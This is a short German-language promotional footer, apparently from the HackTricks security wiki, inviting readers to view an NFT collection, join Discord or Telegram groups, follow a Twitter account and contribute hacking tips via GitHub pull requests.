- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.